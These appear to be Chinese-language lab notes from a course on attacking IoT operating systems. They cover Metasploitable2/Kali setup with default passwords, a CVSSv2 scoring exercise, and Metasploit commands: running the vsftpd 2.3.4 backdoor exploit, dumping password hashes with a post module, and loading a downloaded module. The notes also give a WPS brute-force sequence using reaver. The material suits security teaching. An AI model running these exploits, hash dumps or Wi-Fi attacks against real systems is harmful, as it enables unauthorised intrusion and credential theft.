# 109 物聯網作業系統攻擊介紹與實務操作3 (12/16) [toc] ## Kali Linux 無法複製、貼上 ```shell # 安裝VM Tools apt-get install open-vm-tools-desktop # 重新啟動服務 systemctl restart vmware-tools ``` ## 虛擬機帳密 ``` Metasploitable2 account: msfadmin password: msfadmin Kali Linux account: root password: toor ``` 兩台網路都設定在 NAT 模式 ## 練習 1 - 某個漏洞敘述如下: - 攻擊者知道某工廠的設備使用 Windows XP 作業系統而且很久沒有更新了,但是因為那些設備都沒有連上網際網路,所以攻擊者利用 Metasploit 產出惡意程式後把惡意程式放入 USB 內並插入目標設備,最終成功取得一個 SYSTEM 權限的 reverse shell - 試試看算出上述弱點的 CVSSv2 分數是多少 - AV: L - 需透過實體介面(USB)進行攻擊 - AC: L - 可透過 Metasploit 產出惡意程式,表示此已知漏洞容易獲取PoC,而且不需要滿足特定條件即可成功利用 - Au: N - 不需要透過身分驗證(登入網頁等特定介面)即可以利用 - C: C - I: C - A: C - 成功攻擊漏洞後可以獲取完整的系統存取權限,而且是最高權限 透過 CVSS v2 計算機可以得出答案如下: **Answer: (CVSS 7.2) (AV:L/AC:L/Au:N/C:C/I:C/A:C)** ## Metasploit Framework Update metasploit ```bash= apt update; apt install metasploit-framework -y ``` Update searchsploit ```bash= searchsploit [–update/-u] ``` modules 存放目錄 `/usr/share/metasploit-framework/modules/` 啟動Metasploit Framework指令 ```bash= msfconsole ``` ### 參數 ``` --help/-h 顯示提示文件 -H 儲存指令記錄至檔案 -q 靜音開啟 -x 指令執行 -r 透過檔案執行指令 ``` ### 範例指令 儲存指令記錄到text.txt ```bash= msfconsole -H text.txt ``` 讀取指令紀錄並執行 ```bash= msfconsole -r test.txt ``` 直接執行 Payload ```bash= msfconsole -x 'use exploit/unix/ftp/vsftpd_234_backdoor;set RHOST [ip];run' ``` 列出工作區域 (預設default) ``` msf5> workspace ``` 新增工作區域 ``` msf5> workspace -a [Name] ``` 切換工作區域 ``` msf5> workspace [Name] ``` 刪除工作區域 ``` msf5> workspace -d [Name] ``` ## 練習 2 ``` msfconsole -qH command.txt msf5> search platform:unix cve-2019 msf5> search -u platform:unix distcc msf5> info msf5> show options msf5> show missing msf5> set RHOSTS [ip] msf5> run CTRL + c msf5> exit ``` ```bash= # 把最後一行的exit刪除 sed -i 's/exit//' command.txt msfconsole –r command.txt ``` ## 練習 3 ```bash= msfconsole -q ``` 看看exploit的總數 開一個新的Terminal ```bash= cd /root/.msf4/modules/ mkdir exploits cd exploits mkdir test cd test wget https://gist.githubusercontent.com/todb-r7/5935519/raw/f18d6b0dcd94d135a567e5b50a9b1cab3a1c5e1b/test_module.rb -O test.rb msf5> reload_all msf5> use /exploits/test msf5> show options msf5> run msf5> use exploits/test msf5> show options msf5> run ``` ## 練習 4 ```bash= msfconsole -q msf5> use exploit/unix/ftp/vsftpd_234_backdoor msf5> set rhosts [ip] msf5> run 按下鍵盤 ctrl+z 將session切換至背景 msf5> use post/linux/gather/hashdump msf5> set session 1 msf5> run ``` msf5> creds <<列出被發現的帳號密碼 msf5> loot <<列出被發現的帳號密碼檔及本機的儲存位置 msf5> db_status msf5> workspace -a Lab msf5> db_nmap [ip] msf5> db_import tcp_all.nmap msf5> hosts msf5> services ------------------------------------------------------------------------------ # Testssl ``` ./testssl -e [ip] ./testssl -S [ip] ./testssl -A [ip] ./testssl -L [ip] ./testssl -W [ip] ``` ------------------------------------------------------------------------------ # WPS暴力破解 ``` #iwconfig #airmon-ng start [usb_wifi_interface] #airodump-ng --beacons [moniter_wifi_ interface] #reaver -i [moniter_wifi_interface] -b [target_BSSID] -e [target_ESSID] –vv ``` ------------------------------------------------------------------------------ # 綜合演練 ``` 提示1: binwalk 提示2: grep or find? ```